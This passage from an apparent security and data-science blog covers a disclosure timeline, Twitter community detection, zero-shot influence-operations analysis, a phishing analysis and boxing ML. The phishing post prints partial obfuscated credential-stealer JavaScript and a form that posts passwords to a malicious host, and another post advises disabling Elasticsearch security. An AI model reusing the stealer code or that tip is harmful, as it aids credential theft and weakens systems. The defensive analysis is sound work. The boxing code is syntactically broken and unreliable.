Aug 2022 — 80% of the users were on a new version of the app and the update was pushed. App now supported the newly introduced invite code (upper case, lower case, multiple hyphens and 9 characters long). Importantly, trips are “live” for a reduced amount of time and superfluous data had been minimised which made my attack obsolete. There are also future plans to increase the length of the URL suffix in line with best practice.
Aug to Nov 2022 - Further engineering work needed to be completed to ensure the same fix was pushed to all of Glympse’s enterprise partners, there was an initial plan to publish this article on National Computer Security Day (Nov 30) but unfortunately Glypse needed more time.
Jan 2023 - Fixes complete!
Mar 2023 - Article published!

Side note

Another ‘lesson learned’ from this exercise is the importance of supplier due diligence and how vulnerabilities can be introduced into an organisation’s infrastructure via a supplier. Glympse are SOC 2 Type 2 certified which is one of the meatier information security accreditations. Having been employed as a consultant to assist organisations with meeting the standards and having conducted SOC 2 audits myself, it goes to show that even the most thorough best practice is fallible. An accreditation can be demonstrative of good practice (often at a point-in-time) but always strive to go above and beyond and consider vulnerabilities and security gaps that aren’t addressed by the frameworks you have adopted.

Kind Words

“Too many people in our industry use their research for their own personal gains,” said Brandon Rodgers, Senior Technical Architect, at Glympse. “We appreciate how thoughtful Dan was working with us to develop a solution that improves our platform for our customers.”

Twitter users mentioning #partygate divided into communities based on language style

Sun, 05 Jun 2022 12:00:00 GMT

Background

This is an implementation of the paper, “Message-based Community Detection on Twitter”, written by Carl Miller and associates at CASM Technology.

Partygate is a political scandal in the United Kingdom concerning gatherings that were attended by government and Conservative Party staff during 2020 and 2021 where COVID-19 public health restrictions prohibited most social gatherings. These gatherings sat outside of the restrictions.

Understandably this was a divisive issue and covered at length by the UK media. Opinion Polling suggests that partygate was an important factor in declining rates of public support for the Prime Minister, Boris Johnson, as well as for the Conservative Party more broadly.

Using Twitter’s Search and Stream API it was possible to collect a sizable database of tweets using the hashtag #partygate as well as the subsequent engagement. By analysing this data, we can better understand the nature of the accounts that were engaging with this hashtag, highlight any automated ‘bot’ or inauthentic activity and identify communities with similar thoughts and interpretations of the scandal.

Traditional network analysis would link entities based on follower activity and other engagement. This implementation links accounts based on the language each author uses leveraging state-of-the-art natural language models capable of creating mathematical representations of text. These linguistic representations can spatially express similarities between accounts allowing for the identification of communities which can then be characterised through a combination of quantitative and qualitative means. Traditional network analysis uses engagement to create edges between accounts and is a reflection of popularity on Twitter where communities form around influential accounts. Communities based on language are more likely to be inclusive of less popular accounts which is important when trying to understand issues such as politics or elections.

Data Collection

Gazouilloire is a command line tool for long-term tweet collection from Twitter’s Stream and Search APIs allowing for large datasets to be created. By running a local Elastic server Gazouilloire will start to build a database of tweets given specific keywords or search terms (lucene query syntax can be used for more complex queries).

Installation instructions can be found on the Github page, you just need to make sure that you have ElasticSearch installed and a working set of Twitter API keys (the Twitter developer account needs to have elevated access for Gazouilloire to work).

Tip: I was initially struggling with getting Gazouilloire to connect to Elastic, if you are experiencing similar problems it is probably to do with Elastic’s security settings. Gazouilloire works over HTTP by default while Elastic won’t accept a non-HTTPS post. Whilst not optimal from a security perspective; setting the xpack.security.whatever variables to False in your elastic.yaml file will fix this.

Once installed you can use gazou init to instantiate a project where a config.json file is created for your amendments. Editing the file to include your Twitter credentials, Elastic database details and keywords is all that is required before beginning to collect your data. I also changed the grab_conversations variable to True so that recursive retrieval of all tweets that engaged with the hashtag were also collected.

{
    "twitter": {
        "key": "xxxxxxxxxx",
        "secret": "xxxxxxxxxxxxxx",
        "oauth_token": "xxxxxxxxxxxxxx",
        "oauth_secret": "xxxxxxxxxxxxx"
    },
    "database": {
        "host": "localhost",
        "port": 9200,
        "db_name": "partygate_full",
        "multi_index": false,
        "nb_past_months": 0
    },
    "keywords": [
        "#partygate"
    ],

    "url_pieces": [],
    "time_limited_keywords": {},
    "language": null,
    "geolocation": "",
    "resolve_redirected_links": true,
    "resolving_delay": 30,
    "grab_conversations": true,
    "catchup_past_week": true,
    "download_media": {
        "photos": false,
        "videos": false,
        "animated_gifs": false,
        "media_directory": "media"
    },
    "timezone": "Europe/Paris",
    "verbose": false
}

Over the course of a day ~350k tweets were retrieved that mentioned, retweeted or engaged with a #partygate tweet from 102,000 individual accounts.

The python library eland is an Elastic client which was used to retrieve the list of unique users from the database

import eland as ed

ed_ecommerce = ed.DataFrame('http://localhost:9200', 'partygate_tweets')
usernames = ed_ecommerce['user_screen_name'].unique()

In order to map accounts on the basis of similarities in the textual content of their tweets it was important to analyse all of the account activity, not only when tweets referring to partygate were posted. Collecting the most recent 200 tweets from the timeline of the 102,000 distinct users resulted in a dataset of approximately 20,400,000 tweets.

Collection of the most recent 200 tweets from each users timeline was achieved by passing each username to the below function. A csv file was saved for each account. You will need to put in your own Twitter credentials and also import csv and import tweepy

def get_all_tweets(screen_name):
    
    #authorize twitter, initialize tweepy
    auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
    auth.set_access_token(access_key, access_secret)
    api = tweepy.API(auth, wait_on_rate_limit=True)
    
    #initialize a list to hold all the tweepy tweets
    alltweets = []  
    
    #make initial request for most recent tweets (200 is the maximum allowed count)
    new_tweets = api.user_timeline(screen_name = screen_name,count=200)
    
    #transform the tweepy tweets into a 2D array that will populate the csv 
    outtweets = [[tweet.id_str, tweet.created_at, tweet.text] for tweet in new_tweets]
    
    #write the csv  
    with open(f'new_{screen_name}_tweets.csv', 'w', encoding="utf-8") as f:
        writer = csv.writer(f)
        writer.writerow(["id","created_at","text"])
        writer.writerows(outtweets)

To have a more manageable dataset it was important to focus on the accounts which most intensively engaged with #partygate. Each of the ~102,000 accounts which had only mentioned or interacted with #partygate twice or less were removed resulting in a dataset of 1,226,500 tweets authored by 4,906 users.

Account Representation

As discussed, instead of a more traditional network map that groups accounts based on friend-follower relationships, we are instead mapping relationships based on the similarity of language used in the tweets that were posted or amplified. By retrieving the last 200 tweets from each account (not only those tweets mentioning #partygate) we can identify communities of accounts defined by common linguistic attributes. To do this, tweets are first mapped to a vector space using a pre-trained sentence encoder, in this case all-distilroberta-v1.

Future work: Arguably the most recent 200 tweets aren’t reflective of a complete activity timeline. The dataset could be enriched by incorporating a vector representation of the bio, geotagging information or use of object identification on the profile image.

For each account the transformer was leveraged to map each tweet into a 768-dimensional space and then an average was taken to get an account level representation. Given the number of calculations that were required, this part of the process was shortened by using cloud GPU servers with more memory than I had available on my laptop. I used a paperspace GPU+ instance which had 30GB RAM and a Quadro M4000 GPU.

The csv files which were created in the “Data Collection” phase above were placed into a “triagedcsv” folder and the below code was ran to get the account representation vectors (saved in the accountrepresentations.csv file).

from tqdm import tqdm
import os
import pandas as pd
from sentence_transformers import SentenceTransformer
import re
import string
import numpy as np

directory = 'triaged_csvs'
model = SentenceTransformer('sentence-transformers/all-distilroberta-v1')
user_account_representations = []

def remove_punct(text):
    text  = "".join([char for char in text if char not in string.punctuation])
    text = re.sub('[0-9]+', '', text)
    return text

for filename in tqdm(os.listdir(directory)):
    #print(filename)
    tempstring = filename.split('_tweets.csv')[0]
    username = tempstring.split('new_')[1]
    temp_df = pd.read_csv('triaged_csvs/' + filename)
    temp_df['clean_text'] = temp_df['text'].apply(lambda x: remove_punct(x))
    user_account_representations.append([username, np.array([model.encode(tweet) for tweet in temp_df['clean_text']]).mean(axis=0)])

df = pd.DataFrame(user_account_representations)
df.to_csv('account_representations.csv')

Account Network Construction

To construct a network diagram where each node is a Twitter account and weighted edges represent the similarity between two accounts, it was necessary to calculate the cosine similarity. Specifically, the weight of an edge between two accounts is the cosine similarity of the account-level representations (averaged message vectors) of the two accounts. This was also a computationally intensive step which benefitted from cloud computing. Given a pairwise calculation needed to be done across every account vector (an array of length 768), the below script took over 20 hours to complete.

import pandas as pd
import numpy as np
from numpy import dot
from numpy.linalg import norm
from tqdm import tqdm
import itertools
from numpy import dot
from numpy.linalg import norm

df = pd.read_csv('account_representations.csv')
df = df.dropna()

df.columns = ['index', 'username', 'vector']

def vectoriser(weird):
        one = weird.replace('[', '')
        two = one.replace(']', '')
        less_weird = np.fromstring(two, dtype=float, sep=' ')
        return less_weird

df['new'] = df['vector'].apply(lambda x: vectoriser(x))
df.drop('index', axis=1, inplace=True)
df.drop('vector', axis=1, inplace=True)
data = []

for tup in tqdm(list(itertools.combinations(df['username'].tolist(), 2))):
        x = df.loc[df.username == tup[0], 'new'].to_numpy()
        y = df.loc[df.username == tup[1], 'new'].to_numpy()
        result = dot(x[0], y[0])/(norm(x[0])*norm(y[0]))
        data.append([tup[0], tup[1], result])

df_final = pd.DataFrame(data)
df_final.to_csv('mappings.csv')

Displaying every edge in the chart would almost certainly be an indecipherable blob given that there would be 10’s of millions of edges so the dataset was reduced by setting a threshold to preserve the relationships between only the most similar nodes. Using only the most highly weighted 250,000 edges, 247 of the accounts were excluded from the network on the grounds that they were not sufficiently similar to any other account.

Gephi was used to graph the network. For positioning nodes, the ForceAtlas2 layout algorithm was applied which is a widely used approach to spatialise a weighted, undirected network in two dimensions. For community detection, Gephi uses the Louvain method, a modularity based algorithm, which assigns a single community to each node. Approximately 99% of accounts were assigned to one of 3 communities.

Community Characterisation

The next step in the process was to manually inspect accounts from each community to attempt to identify the attributes they had in common (Blue, Green and Pink). To manually characterise each community in this way, accounts were randomly selected from the core of each community (the core of a community was considered to be the dense region around the community’s ‘centre’), as suggested by the network’s spatial disposition. Between 50 - 150 messages from each account’s timeline were read to create a narrative summary of the content that the account had either originally authored or amplified.

Features analysed included:

The profile picture of the account (especially the presence of motifs, tropes, regional or national identifiers);
The profile description of the account (interests, hobbies, political or ideological attachments);
The number of followers of the account;
The number of accounts that the account follows;
The number of tweets sent by the account;
The retweet:tweet ratio of the account

The characterisation of each cluster below is interpretive in nature and therefore not only an expression of the data but also the judgements and biases of the analyst (me). The descriptions do not imply that every node within the community cluster displays the characteristics detailed and there will be significant ‘noise’, particularly at the edges of the clusters, where the node does not behave in the way that the cluster description would suggest.

Tip: Manual tweet analysis was conducted by one person in this investigation which increases the likelihood that author bias impacted the community characterisation. If you were looking to reduce the effects of analyst bias on your study then you should consider having multiple analysts review the tweets in isolation.

Blue Community Cluster

The Blue Community Cluster is indistinct from the larger central grouping on the chart, occupying ~35% of it. It is the sparsest of the clusters, with many accounts sitting away from the central grouping demonstrating a broader set of linguistic characteristics than the other clusters. The Blue and Pink Community Clusters share a lot of the same characteristics, namely; pro-Labour tweets, pro-EU tweets, pro-Keir Starmer tweets, anti-Conservative tweets and anti-Boris Johnson tweets. The Blue and Pink clusters differed on the themes that were amplified. Of note, was the amplification of tweets that highlighted Nadie Dorries’ propagation of disinformaton concerning Keir Starmer and the lack of coverage, particularly by the BBC, regarding the raid of Michelle Mone’s residence. Given the high volume of retweets in this cluster (97%) it is almost certain that this cluster has coalesced due to prominent tweets that were shared across many of the accounts. It is also probable that there was significant ‘bot’ activity occurring given the lack of original content and relatively low average following of accounts in this cluster.

Pink Community Cluster

The Pink Community Cluster is indistinct from the larger central grouping on the chart, occupying ~33% of it. It has fewer outliers than the Blue cluster but is not as densely concentrated as the Green cluster. As mentioned, the Blue and Pink Community Clusters share many of the same characteristics, however, the Pink cluster had a greater volume of tweets that were specifically anti-Boris Johnson. In addition, the tweets analysed in this cluster discussed ongoing local elections (as of May 2022) and Boris Johnson’s unsuitability for the role of Prime Minister and as leader of the Conservative Party. Given the high volume of retweets in this cluster (98%) it is almost certain that this cluster has coalesced due to prominent tweets that were shared across many of the accounts. It is also probable that there was significant ‘bot’ activity occurring given the lack of original content and relatively low average following of accounts in this cluster.

Green Community Cluster

The Green Community Cluster is indistinct from the larger central grouping on the chart, occupying ~30% of it. It is the densest cluster with the fewest outliers suggesting that their is less variation from a linguistics perspective. Despite this, the Green Community Cluster was the only cluster where pro-Boris Johnson tweets (#BackBoris) and tweets supporting the Scottish National Party (and Scottish Independence) were observed alongside accounts with more traditionally liberal standpoints. The volume of retweets in this cluster (88%) is high but is notably different from the other clusters when considering the volume of original content. It is probable that there was significant ‘bot’ activity in this cluster although, given the relatively high median average of followers, it is a possible indication that there were fewer bots (or possibly a more mature approach to automated amplification).

Observations of Amplified Content

An activity common across many of the accounts that were appraised was the very high quantities of retweets and few original messages. Because of this it is highly likely that prominent retweets would have had a strong effect on how the accounts were clustered compared to a situation with a greater selection of original content.
The author of one of the top 10 most amplified tweets was also present in the network. Alastair Campbell’s (@campbellclaret) account was placed in the Blue cluster and his most prominent tweet across this time period was on the 19th April and shared over 7000 times.
In the Pink cluster, 3 of the top 10 most retweeted posts were authored by Keir Starmer. Whilst not indicative, it is possible, given the relatively high percentage of retweets in this cluster that there was an orchestrated attempt at amplification using bots by supporters of the Labour leader. Further analysis of the accounts in the Pink cluster would need to be conducted to test this hypothesis. This analysis would likely include a temporal study to identify retweeting patterns and a dataset that extends beyond the most recent 200 tweets.
Interestingly, the average age of the accounts across all the clusters was longer than two years which suggests a fairly mature approach to automated activity, assuming automated activity was prevalent. To achieve this, either aged accounts have been purchased or this is a network of accounts that has operated for many years.
By volume, there were far more tweets suggesting that partygate was still a prominent issue and one that reflected poorly on Boris Johnson, his Government and the Conservative Party. Even in the Green Community Cluster, which contained accounts in favour of Boris Johnson, there was a large quantity of anti-Government tweets.
Given the lack of original content and the probability of inauthentic and automated ‘bot’ activity, it is difficult to judge whether this is reflective of the UK population as a whole. An unintended output of the analysis may have been the identification of different automated influence campaigns. It is possible that the Pink cluster identified a network of bots promoting Keir Starmer content and highlighting Boris Johnson’s shortcomings with a view to influence Local Elections this week. The Blue cluster may have been a campaign with broader aims to undermine the Conservative Party. As above, analysis of temporal patterns and a separate dataset would be need to test these hypotheses.

Tip: Automatic detection of ‘bot’ activity is actually quite difficult. Even some published, scientific papers studying automated activity and disinformation have struggled identifying valuable heuristics to discriminate between human and non-human activity. One of the most common automatic bot detection tools, Botometer, has been increasingly criticised over the accuracy of its results.

Interpretation

The research of suspicious activity online, including suspected influence campaigns, frequently confronts a common problem: any number of different underlying motivations can manifest as the same behaviour. Inauthentic activity, organic engagement, automated activity and commercial motivations all mix together to drive online behaviour. Definitively distinguishing between all of these different forms of activity is extremely challenging. The nature of the activity often relies on the underlying intent and motivation of the actors involved and so is beyond the ability of research such as this, which is aimed at describing behaviours on an online platform.

Limitations and Caveats

As with any methodology, the approach used here carries with it a series of strengths and weaknesses. When interpreting the data, the following caveats should be regarded;

The cluster descriptions are impressionistic. Other researchers may have drawn different contrasts or similarities from an appraisal of accounts in this network, or may have placed emphasis elsewhere.
The cluster descriptions do not hold true for every account that is a member of them.
Manual analysis, while the best method for developing holistic impressions, does limit the number of accounts that can be used to characterise clusters.
Each cluster will contain ‘noise’ of different sorts; including accounts that are from different countries, use different languages and do not behave in the way that the overall descriptions of each cluster would suggest.

Zero-shot learning and the AMITT framework

Wed, 12 May 2021 12:00:00 GMT

Problem Statement

Can organisations or individuals without nationstate resources assimilate information quickly enough to orchestrate an effective response to combative influence operations?

Online Influence Operations

Influence operations includes the collection of information about an adversary as well as the dissemination of propaganda in pursuit of a competitive advantage over an opponent. State actors exploiting the openness and reach of the internet to conduct influence operations in pursuit of strategic objectives has been well documented and studied in academia. The history of online influence operations is brief, relative to the history of more traditional forms of propaganda, but malicious, anonymous and opposing online actors have used computational propaganda techniques to spread disinformation, censor and attack journalists and create fake trends.

In the last decade, clear-cut cases of influence operations have been observed in;

Often, in order to fully understand the complexity and motives of an online influence operation, an organisation requires both specific domain expertise and a lot of data. This is achievable if studied retrospectively but there are significant issues in being able to assimilate information quickly enough to orchestrate a response when you are the target of an active and aggressive influence operation. These issues are more acute for an organisation suffering from faster moving smear campaigns or localised influence operations where nationstate resources and friendly media outlets are unavailable. Situations which may call for an imperfect but faster response would include;

Trial by media - A requirement to impact television and newspaper coverage regarding an individual or organisation’s reputation by seizing a narrative and influencing perceptions of guilt or innocence before a verdict.
Defamation/Libel - If you are an organisation that is suffering reputational damage as a result of damaging articles or statements then the virality at which the offending content is shared often outstrips the speed of legal proceedings to have the content removed.
Negative Exposure - Negative but accurate media reporting can be combated with counter influence operations.
Shareholder activism - Hedge fund activism designed to assert pressure and leverage boards into making favourable decisions is often supplemented with PR and media activity to seize a narrative and sway neutral voters.

An organisation that is not typically equipped for handling aggressive influence operations would therefore need to quickly understand the actors involved, the information disseminated and have a framework for forming a response.

Quickly assimilating information

Zero-Shot Learning (ZSL) is a machine learning method that can detect classes that a model hasn’t observed during training. It resembles our ability as humans to generalize and identify new things without explicit supervision. While ZSL models are unlikely to achieve the accuracy or utility of a model trained specifically for a task they are a suitable tool for this problem set. Hand-labeled training sets are expensive, time consuming to assemble and often require domain expertise - all of which are not conducive to responding quickly during a crisis.

Until fairly recently, (Natural Language Processing) NLP models were limited to classifying text with a predefined number of candidate categories. These categories had to be set in advance during training. The addition of new categories would require you to re-train your model with more examples. There are excellent open-source NLP models out there, based on Hugging Face Transformers, that work well for zero-shot text classification which I have utilised in this project;

zeroshot_topics is distributed on PyPI as a universal wheel and harnesses KeyBERT which is an easy-to-use keyword extraction technique that leverages BERT embeddings to create keywords and phrases that are most similar within a document. The ambition for utilising this library was to identify themes or clusters of articles/posts deployed in an influence operation.
zero_shot_re is a zero-shot relation extractor project based on the paper ‘Exploring the zero-shot limit of FewRel’ by Alberto Cetoli. Being able to agnostically generate knowledge graphs from text will help determine threat actors and themes.

You can follow along with the notebook on github.

A framework for responding to online influence operations

The Adversarial Misinformation and Influence Tactics and Technique AMITT Framework was created from a need for a common language for disinformation. The structure and propagation patterns of misinformation attacks have many similarities to those seen in information security and computer hacking so the framework adopts a similar structure to that of the MITRE ATT&CK framework which has been heavily adopted in the cyber security industry.

AMITT is a set of data standards and an open source knowledge base of both red and blue team disinformation tactics and techniques. AMITT’s intended users are disinformation responders; its purpose is to give them the ability to tactically respond to influence operations, plan defences and to transfer information security principles to the disinformation sphere. The framework consists of blue team (defence) and red team (attack) models as well as a repository of examples, descriptions and mitigations.

Project

We have used Neo4j, a graph database that features the labeled property graph model, to present the information we are extracting from each article. The articles scraped will have a sentiment, a theme/topic that has been classified by ZSL and a series of entities that have been extracted.

Relations between entities are stored as intermediate nodes instead of direct links in order to more easily display sentiment as well as providing an audit trail of the source text from which the relation was extracted. With the labeled property graph model, you can’t have a relationship pointing to another relationship. For this reason, we refactor the connection between extracted entities into an intermediate node. Feel free to try topics and search terms of your own.

Overlaying AMITT framework and further work

There will still be elements of manual analysis required to understand the context of a given influence operation but the graph data, as an example, could be used to help determine the following more quickly;

Discovery of frequently discussed topics can help to determine opponent strategic objectives (dismiss, distort, distract, dismay, divide) as well as existing and competing narratives.
The entire network analysis can help inform a centre of gravity study where key communities, influencers and media outlets can be identified.
Replacing media articles with tweets or other social media posts and incorporating bot or “fake news” detection will help build a picture of where and how computational propaganda is being used.
Identification of friendly influencers who may also be targeted.
Identification of fault lines between communities can help develop counter narratives that are sympathetic to opposing forces.

Issues and Hints

Neo4j can only display a limited number of nodes and relationships. Filtering nodes by a minimum number of relationships will help display useful information.
The codebase conducts coreference as well as pairing mathematically similar words and phrases but there will still be problems where there are multiple nodes for a single entity (James, Jim, Jimmy, James Johnson), manual correction may be required.
Occasionally where a website renders an error, or something else unusual, the text will be processed by the program and included as nodes which will need to be removed.
The more obscure a relationship you try to extract, the less successful your project will be. I have had success using “linked”, “associates” and “interacts” but more complex relationships like “shareholder” or “beneficial owner” are less succesful.

Example

The recent 2021 Gambia election wasn’t a subject that I was particularly knowledgeable about but the underlying graph data for the below chart was scraped and analysed from 25 news articles in less than half an hour. The chart shows nodes with more than 2 connections and the annotations were manually added. Whilst not groundbreaking, the chart is hopefully demonstrative of what could de done with more data and supplemented with manual analysis.

Examination of a self-contained credential stealer

Sun, 03 May 2020 12:00:00 GMT

Phishing e-mails which are designed to steal credentials often depend on a user clicking a malicious link. The link then usually navigates to a website that mimics a login page for a valid service or web application. A phishing email that I received this week took a slightly different approach as the credential theft occurred in a self-contained html file rather than using a remote website.

This attack methodology isn’t new but alongside some other obfuscation tactics I thought it warranted a write-up so other organisations and internet users can be better prepared for identifying a similar attack.

The email

The email we received had no body, only an html attachment posing as an excel document…

csriskmanagement-997072_xls.html

…and the subject line

Overdué invoicé - TransPérfect - Invoicé

The first thing to note about this phishing email is the use of the accented é in the subject line as a way to circumvent mail filters that use keywords such as “Overdue” and “Invoice” to prevent phishing emails from landing in user inboxes. This is a fairly crude and easy to notice tactic and most of the mailboxes we tested correctly labelled this email as spam. However, there were exceptions so it is important to check that homoglyphs and unusual character variations are included in any keyword filtering.

There wasn’t much more to glean from the email but an analysis of the sender domain and email headers suggest that the email was sent from a compromised mailbox in Estonia.

TransPerfect has been common subject matter within phishing emails over the past few years. They suffered a data breach in 2017 when employee information was compromised in a phishing attack.

The Html Attachment

On opening the file in a text editor, there were two sections of JavaScript which looked suspicious.

Section 1

var vsebz=[876 charachter alphanumeric string];
document.write(atob(unescape(vsebz)));

If it is not apparent what is occurring in this section, vsebz is a long-ish, twice obfuscated string, which is then rendered by your browser after it has been decoded within the document.write() method.

In this instance it is fairly easy to decode the string; once using a base64 decoder and then a subsequent XML decoder. The resulting unobfuscated string points to a snippet of further code hosted at yourjavascript.com

http://yourjavascript.com/[11 character numeric string]/[9 character numeric string].js

This link contained further obfuscated JavaScript revealing two further document.write() methods. One method downloaded an image hosted by the attacker on imgbb and the other pointed to a separate yourjavascript.com page which contained the html that is rendered should we have have opened the attachment on our desktop.

Interestingly, the image may reveal some information about the attacker as it appears to be a screenshot taken from the attackers desktop. The foreground is a blurred spreadsheet designed to encourage a victim to insert credentials as you will see in the complete screenshot below. The excel user appears to be an individual called “Moshe”, which matches the initial in the outlook client in the background. At the very bottom of the image there is also evidence of correspondence with another user, “Lea”. Manual OSINT didn’t uncover anything helpful but perhaps developing a tool to scour social media for relationships between those two forenames could give you a shortlist of potential threat actors.

The image was reported to imgbb and taken down shortly after. This resulted in an “image not found” background in the browser when the attachment was opened. Hopefully this has made the attack easily identifiable as phishing for users who have a similar email lying in their inbox.

An analysis of the accompanying html on the second yourjavascript.com page shows that when myFunction() is executed there is an http post request made to a malicious server. There is a form within the html with a placeholder for a password which is sent to the server when the user submits the information. As of 17/11/2020 VirusTotal flags the URL as both phishing and malware using the CyRadar, Fortinet, Sophia and Kapersky engines.

... onload="myFunction()" ...
... action="http://www.tanikawashuntaro.com//cgi-bin/[alphanumeric string]/[alphanumeric string].php?[alphanumeric string]" method="post" enctype="multipart/form-data" ...

myFunction() is defined in section 2 of the original csriskmanagement-997072_xls.htmlfile.

Section 2

function myFunction() {
var ml = [base64 encoded string];
var logi = [base64 encoded string];
var ulb= atob(logi);
var go = atob(ml);
document.getElementById('mypic').setAttribute('src',ulb)
document.getElementById("myText").innerHTML = go;
document.getElementById('myvalue').value = go;
}

myFunction() is primarily used to brand the form and capture credentials that are typed into the form mentioned in section 1. You can see the full rendering of the form and the background image below.

Within this function there is also further obfuscation of JavaScript variables. The ml variable in this instance is the string “info@csriskmanagement.co.uk”. The logi variable is slightly more interesting as it abuses a legitimate marketing API from clearbit.com. The API can retrieve a company logo from a company domain which is intended to be used as a marketing tool.

https://logo.clearbit.com/csriskmanagement.co.uk

Using the above template a malicious attacker could create many branded, self-contained credential stealers by only changing a domain variable. A fully rendered image of the CS Risk Management credential stealer is below.

We informed Clearbit of our findings and recommended that the API should require authentication and also have appropriate rate limiting in place to help prevent abuses. Future monitoring of accounts was also recommended so that Clearbit could identify accounts which may be abusing their service for nefarious purposes.

This may help Clearbit’s API from being abused by malicious attackers but it is unlikely that the security community will be able to prevent the programmatic capture of company logos. Appropriate security training that highlights social engineering tactics is the best defence once an email has bypassed any technical protection.

Reccomendations

This report isn’t a new attack but highlights some security tips which we can all implement if we aren’t doing so already.

Ensure your mail filtering solution is capable of handling homoglyphs
Be wary of file extensions when viewing attachments
Consider attachment types allowed to be received by e-mail and restrict if not required by the business
Be mindful of sharing screenshots and video, sensitive information may be visible in the background
If your organisation hosts an unauthenticated API or service then ensure you conduct routine audits to check for abuse
Conduct routine security awareness training

Mike Tyson and Machine Learning

Sun, 20 Jan 2019 12:00:00 GMT

Machine Learning in Bookmaking

Bookmakers have been using machine learning to manage their risks and set odds for sporting events but they have far more factors to consider than their customers. Bookmakers have to set their prices based not only on the probable outcome of a sporting event but also in reaction to how much money is being placed across a range of different bets as well as pricing competitively relative to other bookmakers.

Often these decisions have to be made incredibly quickly. With the increased use of automation this can often be comparable to other types of financial trading. An interesting example of how quick bookmakers react to changes in market conditions was observed when I received an (incorrect!) tip on the next Crystal Palace F.C. Manager. In June 2017, after Sam Allardyce’s departure, the odds on Slaviša Jokanović to get the position were 33/1.

Because this was a relatively low volume market, a dozen bets from a handful of people caused the odds to drop to 9/1 in the space of about 30 minutes.

Interestingly, betting sites where no bets were placed responded by adjusting their prices on that market, while others didn’t respond at all. This is demonstrable of some bookmakers adjusting prices based on customer sentiment and competitors rather than factors that are causal in the outcome of a sporting event. This is a necessity for bookmakers, bets on Jokanović were a liability which wasn’t balanced on their book. The twittersphere also noticed the tumble in price!

While next manager markets are a difficult problem to solve with machine learning, boxing is less so. Boxing only involves 2 people (although coaches, promoters and cornermen are statistically significant), has fixed rules and there is a plethora of data available.

The dataset I was working with contained over 2 million fights. There were boxers in every weight class hailing from every corner of the world. Before I performed any feature engineering there were 28 variables to work with including; date of birth, date of debut, venue, stance and world ranking. However, some data was missing.

The Data

The dataset contained over 2 million fights and there were boxers in every weight class hailing from every corner of the world. Prior to conducting any feature engineering there were 28 variables to work with including; date of birth, date of debut, venue, stance and world ranking. However, some data was missing.

df.drop_duplicates(inplace = True)

null_columns=df.columns[df.isnull().any()]
df[null_columns].isnull().sum()

kopercentage                 382 
height                     60958 
draws                          4 
opponentwins                 433 
winmethod                   1590 
townofbirth                 2948 
worldrankingbyweight        6414 
reach                     117795 
opponentlosses             15365 
losses                         4 
opponentdraw               15365 
countryrankingbyweight      7301

Height and reach were the features where there was the greatest absence of data. The difference in your arm span and height are almost identical so it was possible to fill in the data where a boxer had only one of the variables available.

df['reach'] = df['reach'].fillna(df['height'])
df['height'] = df['height'].fillna(df['reach'])

Averages were taken across weight classes where other features with missing data was significant

Once the data had been cleaned, it was also necessary to ‘self-join’ the dataframe. Each record in the dataset represented one half of a fight. There would be a Boxer 1 and a Boxer 2. The target for each row would be Win, Lose, or Draw, with respect to Boxer 1. However, elsewhere in the dataset there would be a record for the same fight but with respect to the opponent. Duplicating the dataset, removing or renaming unnecessary columns and merging the two datasets back together allowed for a richer dataset without any repeated entries.

df2 = df

df2 = df2.drop(['boxerwin', 'winmethod', 'countryoffight', 'roundspath', 'division', 'sex', 'opponentwins', 'opponentlosses', 'opponentdraw', 'wins', 'losses', 'draws', 'totalboxersindivision', 'roundsinfight'], axis=1) 

df2.columns = ('opponentkopercentage', 'opponentdebut', 'opponentboxrecrating', 'opponentheight', 'opponentrounds', 'opponentform', 'opponenttownofbirth', 'opponentworldrankingbyweight', 'name', 'opponentstance', 'opponentreach', 'opponentbouts', 'opponentcountryofbirth', 'opponent', 'opponentdob', 'venue', 'opponentcountryrankingbyweight', 'opponenttotalboxersindivisionandcountry' ) 

df3 = pd.merge(df, df2, on=['opponent', 'name', 'venue'])

Feature Engineering

Feature engineering is the process of using domain knowledge of the data to create features that improve machine learning algorithms. In this instance it was creating comparisons between the two fighters which might not be inferred automatically by the machine learning model during training. The new features I created included; difference in height, difference in reach and difference in their win records. Intunitively we know that a ‘home advantage’ is important in sports, so I added a binary feature which indicated whether the venue matched either of the boxers’ countries of birth.

#height diference
df3['Diff_height'] = df3.height - df3.opponentheight

#reach difference
df3['Diff_reach'] = df3.reach - df3.opponentreach

#name experience
df3['name_experience'] = df3.bouts - df3.opponentbouts

#opponent experience
df3['opponent_experience'] = df3.opponentbouts - df3.bouts

#name_win_pc
df3['name_win_pc'] = df3.wins / df3.bouts
df3.loc[df3.bouts == 0, 'name_win_pc'] = 0
 
#opponent_win_pc
df3['opponent_win_pc'] = df3.opponentwins / df3.opponentbouts
df3.loc[df3.opponentbouts == 0, 'opponent_win_pc'] = 0

The final step before feeding the data into a training model was to one hot encode all of the categorical variables. This is a necessary step as machine learning models need to compute numbers rather than text. The output of one hot encoding is a sparse matrix where each category is binarised – the matrix is populated with zeroes except the index of the matrix, which is marked with a 1.

Feature Importance

Prior to building a neural network I trained a random forest model to calculate the importance of each feature in my dataset. A feature importance chart provides a score that indicates how valuable a feature was in the construction of the decision trees within the model. The more a feature is used to make key decisions with decision trees, the higher its relative importance.

#Classifiers
from sklearn.ensemble import RandomForestClassifier

classifiers = [
    RandomForestClassifier(),
    RandomForestClassifier(bootstrap=True, class_weight=None, criterion='gini',
            max_depth=17, max_features=6, max_leaf_nodes=None,
            min_impurity_decrease=0.0, min_impurity_split=None,
            min_samples_leaf=1, min_samples_split=2,
            min_weight_fraction_leaf=0.0, n_estimators=70, n_jobs=1,
            oob_score=False, random_state=None, verbose=0,
            warm_start=True)

for item in classifiers:
    classifier_name = ((str(item)[:(str(item).find("("))]))
    print (classifier_name)
    
     Create classifier, train it and test it.
    clf = item
    clf.fit(feature_train, label_train)
    score = clf.score(feature_test, label_test)
    print (round(score,3),"\n", "- - - - - ", "\n")
    
importance_df = pd.DataFrame()
importance_df['feature'] = X2.columns
importance_df['importance'] = clf.feature_importances_    

importance_df.sort_values('importance', ascending=False)
importance_df.set_index(keys='feature').sort_values(by='importance', ascending=True).plot(kind='barh', figsize=(200, 150))

Zoomed out you can see all the features and their importance relative to each-other. The top features ended up being;

Difference in World Ranking
Difference in Win %
KO %
The total number of rounds a boxer has fought in
Age difference

On choosing which factors to include in a deep learning model I was hoping to find an strong inflection point which unfortunately wasn’t available. However, you can infer relative importance by comparing all the features to variables you know shouldn’t be statistically important. As draws are relatively rare in boxing and therefore shouldn’t be a high value feature in a decision tree, we can use the ‘draw’ feature as a yardstick and pick features to use in a deep learning model accordingly.

Neural Network

